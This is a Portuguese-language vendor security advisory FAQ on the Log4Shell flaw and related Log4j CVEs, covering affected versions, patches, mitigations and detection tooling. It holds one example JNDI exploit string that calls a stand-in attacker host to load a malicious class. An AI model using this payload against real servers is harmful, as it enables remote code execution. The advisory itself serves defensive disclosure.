CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: perguntas frequentes sobre o Log4Shell e vulnerabilidades associadas
por Satnam Narang
Página inicial do blog / Alertas de exposição cibernética
Lista das perguntas frequentes em relação ao Log4Shell e às vulnerabilidades associadas a ele.
Atualização de 18 de dezembro: o Apache lançou a versão 2.17.0 do Log4j e anunciou o CVE-2021-45105, uma vulnerabilidade explorável de negação do serviço em configurações não definidas como padrão. Este artigo foi atualizado com estas informações adicionais.
Atualização de 20 de dezembro: a Tenable lançou auditorias do Windows e Linux para detectar se as mitigações recomendadas foram adequadamente implementadas nos sistemas que não podem receber patches. Confira mais informações a seguir.
Atualização de 4 de janeiro: o Apache lançou as versões do Log4j 2.17.1, 2.12.4 e 2.3.2 para resolver uma nova vulnerabilidade, CVE-2021-44832. Para mais informações, leia este artigo na Comunidade Tenable.
Contexto
Na esteira da descoberta da vulnerabilidade do Apache Log4j conhecida como Log4Shell em 9 de dezembro, a equipe de resposta de segurança elaborou o texto de blog a seguir para responder a algumas das perguntas mais frequentes sobre o Log4Shell e as vulnerabilidades recém-divulgadas do Log4j.
Perguntas frequentes
O que é Log4j?
O Log4j é uma biblioteca de registros do Java amplamente utilizada, incluída no Apache Logging Services. É usado para registrar mensagens de uma aplicação ou serviço, muitas vezes para fins de depuração.
O que é o CVE-2021-44228?
O CVE-2021-44228 é uma vulnerabilidade de execução de código remota (RCE) no Apache Log4j 2.0 por meio da versão 2.14.1. Foi apelidado de Log4Shell pelos pesquisadores de segurança.
Como o CVE-2021-44228 pode ser explorado?
Um invasor remoto, não autenticado, poderia explorar essa falha com o envio de uma solicitação especialmente elaborada para um servidor executando uma versão vulnerável do Log4j. Isso poderia ser feito enviando uma cadeia de exploração dentro de um campo de texto em um site ou incluindo a cadeia de exploração como parte dos cabeçalhos HTTP destinados a um servidor vulnerável. Se o servidor vulnerável usar o Log4j para o registro de solicitações, a exploração solicitará uma carga mal-intencionada de um servidor controlador pelo invasor por meio do Java Naming and Directory Interface (JNDI) sobre uma gama de serviços, como o protocolo LDAP (Lightweight Directory Access Protocol).
Por exemplo, uma exploração teria mais ou menos esta aparência:
${jndi:ldap://attackersite.com/exploit.class}
O que acontece se uma vulnerabilidade for explorada?
Neste caso, a biblioteca de vulnerabilidades do Log4j solicitaria e executaria uma carga mal-intencionada advinda do servidor controlado pelo invasor.
Há ocorrências de ataques do tipo no mundo?
Os invasores já começaram a usar o Log4Shell de vários modos, incluindo:
- Software de mineração de criptomoedas (criptomineradores)
- Botnets de negação de serviço (DDoS) distribuídos
- Ransomware
Há relatos de que estados-nação e agentes de acesso inicial já começaram a aproveitar-se da falha, o que significa que devemos esperar que grupos avançados de ameaça persistente (APT) e afiliados de ransomware provavelmente se aproveitarão da falha num futuro muito próximo.
Por que o Log4Shell atraiu tanta atenção?
O Log4j é uma biblioteca amplamente usada em um vasto número de produtos e serviços para fins de registro de log, o que propicia uma grande superfície de ataque. A exploração do Log4Shell é simples: há código de prova de conceito prontamente no GitHub. Por fim, como muitas organizações não conhecem o nível de preponderância desta biblioteca dentro dos produtos e serviços que utilizam, isto provavelmente poderia ter efeitos a longo prazo.
O Log4Shell foi resolvido no Log4j 2.15.0?
Não, o Apache lançou o Log4j 2.16.0 para resolver uma correção incompleta do Log4Shell. O Apache atribuiu um novo CVE para essa correção incompleta: CVE-2021-45046.
O que é o CVE-2021-45046?
O CVE-2021-45046 foi originalmente relatado como uma vulnerabilidade de negação de serviço no Apache Log4j 2.0 até 2.15.0, e desde então foi atualizado para um RCE. Sob configurações específicas não definidas como padrão onde se usa uma pesquisa de contexto — por exemplo, $${ctx:loginId} —, um invasor que fizesse uma pesquisa JNDI usando dados de entrada mal-intencionados poderia causar uma condição de DoS ou um RCE num servidor vulnerável usando o Log4j 2.
A mitigação do Log4Shell se aplica ao CVE-2021-45046?
Não. De acordo com o Apache, a mitigação anterior para CVE-2021-44228 — definir formatMsgNoLookups como verdadeiro — é plenamente insuficiente. Essa orientação não levou em conta outros caminhos de código nos quais as pesquisas de mensagens poderiam ocorrer. Por conta disso, o Apache agora recomenda a atualização para uma versão segura do Log4j, a começar pela 2.16.0 e 2.12.2 (para Java 7). Caso isso não seja possível, o Apache recomenda a remoção do diretório da classe JndiLookup.
O que a versão do Log4j 2.16.0 faz de fato?
Com base nas notas de lançamento, o Apache optou por enrijecer o Log4j removendo a pesquisa de mensagens JNDI por padrão.
A minha organização utiliza o Java 7 e não podemos fazer upgrade para o Log4j 2.16.0. O que devemos fazer?
O Apache lançou o Log4j 2.12.2 visando resolver o CVE-2021-45046 para Java 7. Se a imediata aplicação de patches não for possível, o Apache recomenda a remoção do diretório da classe JndiLookup. Orientações sobre como remover esse diretório de classe se encontram na documentação do Apache.
O que é o CVE-2021-45105?
O CVE-2021-45105 é uma vulnerabilidade de negação de serviço (DoS) no Apache Log4j recentemente anunciada. A vulnerabilidade pode ser explorada em configurações não definidas como padrão. Um invasor envia uma solicitação elaborada que contém uma pesquisa recursiva que pode resultar em uma condição de DoS. Para resolver a vulnerabilidade, o Apache lançou a versão 2.17.0 do Log4j. O Apache também oferece opções de mitigação para quem não puder atualizar a versão de imediato. Recomendamos que você consulte a página de conselhos de segurança do Apache com frequência, dado que podem ocorrer mais atualizações de mitigações recomendadas à medida que houver novos desenvolvimentos.
O Log4j 1.x está vulnerável?
Ainda há muitas informações surgindo em torno do Log4Shell. No momento da publicação desse texto, o Apache dizia que o Log4j 1.2 era vulnerável de forma semelhante ao Log4j quando configurado para usar JMSAppender, que não faz parte da configuração padrão, mas não era particularmente vulnerável ao CVE-2021-44228. Essa vulnerabilidade no Log4j 1.2 foi atribuída como CVE-2021-4104.
Há um patch disponível para o Log4j 1.2?
Não, o Log4j 1.x atingiu o fim da vida útil (EOL), portanto já não recebe atualizações de segurança. Os usuários são instruídos a obter a atualização Log4j 2.12.2 (para Java 7) ou 2.16.0 ou superior.
Como devo lidar com o CVE-2021-4104?
Há algumas opções de mitigação que se podem usar para prevenir a exploração do CVE-2021-4104.
- Não usar o JMSAppender na configuração do Log4j
- Remover o arquivo de classe JMSAppender (org/apache/log4j/net/JMSAppender.class)
- Limitar o acesso dos usuários ao SO para evitar que o invasor consiga modificar a configuração do Log4j
Qual é a história por trás dessas vulnerabilidades?
Isto é que sabemos desde 18 de dezembro:
- Quatro CVEs foram atribuídos para vulnerabilidades que afetam o Log4j
| CVE | Tipo de vulnerabilidade | Versões do Log4j afetadas | Configuração não definida como padrão |
|---|---|---|---|
| CVE-2021-44228 | RCE | 2.0 por meio da versão 2.14.1 | Sem |
| CVE-2021-45046 | Negação de serviço (DoS) e RCE | 2.0 por meio da versão 2.15.0 | Sim |
| CVE-2021-4104 | RCE | 1.2* | Sim |
| CVE-2021-45105 | Negação de serviço (DoS) | 2.0-beta9 2.16.0 | Sim |
- Somente o CVE-2021-44228 é prontamente explorável quando as versões de 2.0 a 2.14.1 do Log4j são incluídas como uma biblioteca em aplicações e serviços
- O CVE-2021-45046, o CVE-2021-4104 e o CVE-2021-45105 constam apenas em certas configurações não definidas como padrão
- O CVE-2021-4104 não receberá patches, dado que o Log4j 1.x chegou ao fim da vida útil
Quais são as versões corrigidas do Log4j que resolvem essas vulnerabilidades?
| Versão do Log4j | Versão do Java | Disponibilidade da versão |
|---|---|---|
| 2.17.0 | Java 8 | Sim |
| 2.16.0 | Java 8 | Sim |
| 2.12.2 | Java 7 | Sim |
| 1.2 | - | Não (EOL) |
Qual é a probabilidade de haver explorações dessas vulnerabilidades?
A tabela a seguir resume a probabilidade de exploração e a ocorrência ou não de explorações dessas vulnerabilidades.
| CVE | Probabilidade de exploração | Já explorado |
|---|---|---|
| CVE-2021-44228 | Alta | Sim |
| CVE-2021-45046 | Baixa | Sem |
| CVE-2021-4104 | Baixa | Sem |
| CVE-2021-45105 | Baixa | Sem |
A Tenable é suscetível a alguma das vulnerabilidades no Log4j?
O CISO da Tenable, Bob Huber, emitiu uma declaração completa que se encontra aqui.
De que maneira eu e a mina organização podemos identificar essas vulnerabilidades no Log4j?
A Tenable lançou vários plugins, modelos de verificação e painéis (Tenable.io, Tenable.sc) para os nossos produtos.
- Para obter mais informações sobre os plugins que foram lançados, consulte esta publicação na Comunidade Tenable.
- Para obter informações atualizadas sobre os modelos de verificação lançados, consulte esta publicação na Comunidade Tenable.
Os clientes que não puderem aplicar patches a essas vulnerabilidades de imediato, podem usar as auditorias de CVE-2021-44228/CVE-2021-45046 para detectar se mitigações alternativas do Log4j foram aplicadas corretamente aos seus sistemas. Uma descrição mais detalhada dessas auditorias se encontra aqui.
O que é o CVE-2021-44832?
O CVE-2021-44832 é uma nova vulnerabilidade descoberta no Log4j que recentemente recebeu um patche do Apache. A exploração dessa falha é menos provável, devido aos pré-requisitos necessários para a exploração. Para obter mais informações sobre esta vulnerabilidade, consulte este artigo na Comunidade Tenable.
Obtenha mais informações
- Página de recursos da Tenable dedicada ao Log4Shell
- Texto de blog da Tenable sobre o CVE-2021-44228 (Log4Shell)
- Recursos e perguntas frequentes da Comunidade Tenable sobre o Log4Shell
Junte-se à equipe de resposta de segurança da Tenable na Tenable.
Saiba mais sobre a Tenable, a primeira plataforma de Cyber Exposure para o gerenciamento holístico da sua superfície de ataque moderna.
Obtenha uma avaliação gratuita por 30 dias do Vulnerability Management da Tenable.io.
Artigos relacionados
Cybersecurity Snapshot: U.S. Gov’t Unpacks AI Threat to Banks, as NCSC Urges OT Teams to Protect Cloud SCADA Systems
March 29, 2024Check out new guidance for banks on combating AI-boosted fraud. Plus, how to cut cyber risk when migrating SCADA systems to the cloud. Meanwhile, why CISA is fed up with SQLi flaws. And best practices to prevent and respond to DDoS attacks. And much more!
Recent NVD Delays Won’t Affect Tenable Vulnerability Management Customers Thanks To Our Diverse Scoring Sources
March 19, 2024NIST has announced delays in the CVE enrichment process of its National Vulnerability Database (NVD), but the situation doesn’t impact Tenable VM customers because our vulnerability scoring is based on multiple sources.
CVE-2023-48788: Critical Fortinet FortiClientEMS SQL Injection Vulnerability
March 14, 2024Fortinet warns of a critical SQL Injection vulnerability that could allow an unauthenticated attacker to execute arbitrary code on vulnerable FortiClientEMS software.
Cybersecurity Snapshot: U.S. Gov’t Unpacks AI Threat to Banks, as NCSC Urges OT Teams to Protect Cloud SCADA Systems
March 29, 2024Check out new guidance for banks on combating AI-boosted fraud. Plus, how to cut cyber risk when migrating SCADA systems to the cloud. Meanwhile, why CISA is fed up with SQLi flaws. And best practices to prevent and respond to DDoS attacks. And much more!
Enhancing Transportation Cybersecurity and Fleet Management for the DoD
March 25, 2024Few things can halt operations across the Department of Defense like a critical failure of logistics and transportation. From automated asset inventory to malicious-activity detections through baselining, learn how Tenable OT Security can protect these critical functions within the DoD and work towards the federal government’s zero trust mandate in OT environments.
Cybersecurity Snapshot: NSA Picks Top Cloud Security Practices, while CNCF Looks at How Cloud Native Can Facilitate AI Adoption
March 22, 2024Check out the NSA’s 10 key best practices for securing cloud environments. Plus, learn how cloud native computing could help streamline your AI deployments. Meanwhile, don’t miss the latest about cyberthreats against water treatment plants and critical infrastructure in general. And much more!
- Vulnerability Management